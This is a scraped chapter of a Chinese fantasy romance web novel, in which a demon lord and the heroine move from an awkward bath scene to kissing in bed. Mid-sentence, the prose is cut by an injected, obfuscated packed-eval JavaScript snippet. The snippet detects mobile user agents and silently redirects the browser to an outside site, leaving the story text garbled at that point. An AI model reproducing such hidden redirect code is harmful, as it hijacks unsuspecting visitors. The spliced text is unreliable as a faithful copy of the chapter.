默认冷灰
24号文字
方正启体

146. 陷溺(十八)

作者:七栀水本书字数:K更新时间:
    水位肉眼可见地下降了一截,而后随着湿哒哒的足音踏在水面的轻响,四周蓦然一空。


    这动静……是她离开了水中。


    羿逸安一惊,只需再往前一寸就能触到文可烟的手,就那样兀自悬在了半空,进退不得。


    而此刻赤足站在地上的文可烟,其实神思恍惚。从起身到踏出浴桶全是下意识举动,此刻只能呆立原地,连肌肤触到微凉空气都浑然不觉。


    直到视线里出现了一团叠放整齐的衣物,以及一只修长却攥得极紧的手。


    她侧目瞥去,羿逸安仍保持着完全背对的姿态,连余光都克制地收敛着。想必是察觉她久无动静,才施法取来远处衣裙递给她。


    若是放在一刻钟以前,见他这般体贴又笨拙的模样,她恐怕早已舒展笑颜。可此刻她却笑不出来了,只是沉默着接过衣衫,任由熏过香后干燥衣衫贴上犹湿的肌肤。


    穿到一半,羿逸安的声音在身后响起:“你……”


    文可烟停下手中动作,偏头侧目,余光下的羿逸安垂落着视线,身形纹丝不动。


    “困了。”说罢,她伸展臂膀,往上一拢,系好衣带,再未言语。


    离去时,衣袂翻飞,没有回头,留下一脸怔然的羿逸安。


    门扉合拢的轻响传来,羿逸安眼睫轻微一颤,后知后觉地松弛下来。


    环顾一圈,唯有风声作伴,而方才的温情好似只是镜花水月。


    不多时,他默默低下头。浴汤表面上的花瓣与香料随着余波轻轻晃悠着,遮住了本该映出倒影的波光。只在起伏的间隙,偶尔窥见一抹发烫的耳尖……好一副欲语还休的留白。


    待到水面彻底平静下来,羿逸安阖上眼,将所有杂念尽数敛下。


    起身更衣,踏出净室。


    经过院子时,他下意识仰头望天。观察了一下近两日看过的夜空,一片沉寂,毫无星色,只有薄雾缭绕。


    一切都似迷一般,不懂星辰为何都藏了起来,不懂文可烟,不懂自己……


    更不懂着天色。


    夜风拂过,带走身上最后一丝暖意,羿逸安才闪身回到屋内。


    室内只留了一盏十分微弱的烛火,在床畔投下昏黄的光晕。锦被之下,蜷着一道隆起的小鼓包。


    他放缓了呼吸,轻手轻脚在文可烟身侧躺下。


    四下无声,唯有轻浅的呼吸声,在耳边无限放大,一声声,都敲在心上。


    渐渐地,一阵细微的窸窣声在寂静中蔓延,像是什么柔软织物在流动摩擦。


    这种声音持续了好一会儿……


    文可烟感觉到身上的衾被被掀开一角,又落下,随即有什么东西正悄声缠上了她的腰肢。


    她身子一紧,双手在身侧无声握成拳,愣是维持住了沉睡后的姿势,一动不动。


    而那些条渐渐缠上来的尾巴,见她毫无反应,便愈发大胆起来,一圈圈收拢。


    文可烟全身不自觉绷紧,足尖在棉被间抵住,使力稳住身形不被带动后移,可终究是徒劳。


    她不动,而羿逸安已倾身而来。微凉的夜风还凝在他衣衫表面,内里却透出灼热的体温。冰与火的双重体验交织,透过薄薄寝衣漫上她的肌肤,无声笼罩。


    羿逸安也不知自己是怎么了,明明方才在院中吹了许久的凉风,可一躺下,脑海里浮现的东西开始越来越不正常,全是文可烟带着水气逼近自己的模样。氤氲雾气下泛着淡粉色的肌肤,朦胧的笑意,鲜活动人的神色……


    一幕幕,反反复复,循环往复,挥之不去。


    思绪被强占着,就连自己的尾巴何时探出,何时绕过锦被缠上文可烟的腰肢,都不知道。


    他只觉越来越热,恍惚间瞥见床畔跳动的烛光,正欲动动手指将其熄灭,指尖却猝然触到一片熟悉的柔软。


    掌心之下是银白绒毛,而绒毛之下包裹着的……


    羿逸安低下头,正对上文可烟不知何时睁开的明亮双眼。


    “你……”他登时一哽,颈间凸起的弧度艰涩移动着像是在克制什么,声音干涩,“还没睡?”


    说实话,要不是此刻场景过于微妙,文可烟绝对会笑出声。


    什么时候竟能让威名鼎鼎的魔尊,说出这般傻气的口水话。


    她的目光缓缓掠过环在腰间的尾巴和那只无比僵硬的手,羿逸安的视线也随之扫去,落在那处纠缠上,动作竟流露出难得一见的无措。


    “我去熄灯。”脑子充血太过,羿逸安终于从旖旎氛围中寻回一丝理智,想起正事。说着便要起身下榻,去剪灭那摇曳的烛火。


    腰间环着的力道骤然一松,文可烟却反手握住他的手腕。她并未用力,只是那么顺势一拽。


    天旋地转间,羿逸安已被拢在云锦被褥间。


    文可烟撑在他耳侧的手掌陷进软衾,青丝扫过他烫得惊人的耳尖。


    四目相对时,那句“不必下去”的话还未跃至喉间,便已消失在喉间。


    烛光昏黄,羿逸安白玉般的耳垂红得透光,连带着眼尾、脸颊两侧也染上几分薄红。


    眸光微动,文可烟脑中纷絮不堪,之前还未理清纷乱,又是添上猛烈一击,将理智撞得七零八落。


    忽地,她鬼使神差地开口:“羿逸安,你想不想更害羞?”古井无波的语调里含有几分未言露出的隐晦情绪。


    羿逸安眼眸中润着一层朦胧雾霭,清澈瞳孔装着懵懂,全然未觉他们此刻的姿势是否不妥,有多么暧昧,更不知这般姿态只会让本就失衡的心跳愈发失控。


    文可烟倏然倾身,在羿逸安唇角极轻地印下一吻。


    如蜻蜓点水,一触即离。


    交错的呼吸间,她甚至能看见他眼底晃动的碎光,像被春风吹皱的一池静水。


    而握在他腕间的手不自觉收紧,好似想借这个动作将他身体的紧绷尽数传递给她。


    似乎是被这突如其来的亲近定住了,他慢了好几拍才眨了眨眼睛。


    烛影在他清俊的脸上轻轻跳跃,从肌肤里透出的绯红,愈发显得他宛若雨后芙蕖,干净剔透又动人。


    而映在他纯净眼眸里的,是镇定面无表情的文可烟。


    这一仰一倾,一迷濛一克制,交织成极具张力的画面。


    在这充满“色彩”撞击地浓烈场景中,羿逸安非但没有后退,反而仰起脸,主动朝文可烟靠近些许。微启的唇瓣毫不保留地展露在她眼前,似在无声地回应她方才的问题,又像是在虔诚地讨下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928387|184831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个吻。


    此刻的羿逸安,像极了熟透了的果,诱人采撷。


    文可烟再次倾身而去,柔软的唇瓣覆上他的。


    这一次,不是轻飘飘的极速一吻。她轻轻抿住他的下唇,混杂着紧张而生涩的试探,辗转厮磨间,将满室暖昧点燃。


    羿逸安被这陌生的、温软的厮磨弄得有些晕眩,眼睛轻颤这掀开一条缝,眸光里全是月下湖面被风吹乱的懵懂涟漪。


    可,身体却像是有了自己的意识,开始笨拙地、小心翼翼地回应。学着文可烟的样子,轻轻抿着她的唇。


    四片唇瓣相贴,细腻辗转。


    文可烟稍稍退开些许,在极近的距离望进羿逸安眼底。


    他闭着眼,长睫如蝶翼般轻颤,全神贯注的样子……好像那个养在深闺院里的女娇娥哦。


    她心尖蓦地一软,活了二十年,与羿逸安唇瓣相依也不止一回,却从未见过如此纯挚的吻,满溢赤诚。


    这个认知让她心头泛起陌生的潮热。不知何时,她已跨坐到他腰间,指尖无意识地勾扯着微敞的衣襟,细带滑落肩头,露出小片莹润肌肤。


    而他仰倒在锦被间,墨色长发如云铺散。为了被动迎合她的亲吻,不得不将头悬空仰着,那段修长脖颈绷出脆弱弧线,喉结滞在某点。


    不只是哪一瞬间,文可烟睁开双眼,动作微顿,似被烛光刺到,瑟缩一下,唇瓣也离开羿逸安的。


    他适时睁开眼,目光先是顿在文可烟半褪的衣衫上。几秒后,看见她眯着的双眼,指尖轻抬,烛火应声而灭,只余窗外朦胧的月色,为万物蒙上薄纱。


    卒然降临的黑暗里,文可烟眨了眨眼。还未适应这昏暗,便觉腰身一紧,整个人被稳稳托起,轻轻陷进柔软衾被间。


    羿逸安仔细将她裹好,动作轻柔却不容拒绝,连肩头都掖得严严实实,生怕漏进一丝夜风。


    被裹得像条毛毛虫的文可烟平躺着,茫然地再次眨动眼睛。


    “……”


    “?”


    这……他该不会是以为褪去衣衫就是要单纯睡觉了的意思吧?


    安静几秒,文可烟忽然悟了。


    不是,他不会以为自己口中的“想不想更害羞”,就只是接个吻这么简单吧?


    “?!!!”


    文可烟猛地从被褥间挣起身。可奈何羿逸安裹得实在太紧,挣扎半天没挣脱开,最后只得硬挺着坐起来,气鼓鼓瞪向身侧已然躺平的魔头。


    黑暗中,传来他微哑的声音:“……怎么了。”低沉音色下,藏着难得的紊乱。


    她心念微动,被裹在最里层的手指轻轻一勾,室内重新漾起昏黄暖光。


    视线内,羿逸安侧颜绯红,耳尖却红得快要滴血。胸口随着呼吸而上下起伏,寝衣领口松垮地敞着,露出线条分明的锁骨。


    那双总是盛着寒霜的眸子此刻水光潋滟,正一眨不眨地望着她。


    文可烟闷气散了一大半,像个蚕蛹一般蛄蛹着蹭近他,没好气道:“解开!”


    羿逸安一愣,乖乖坐起身来,伸出手替她手动解除方才自己的“杰作”。


    才刚松开一个结,露出些许缝隙,文可烟就迫不及待地左右扭动,三两下挣开束缚。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)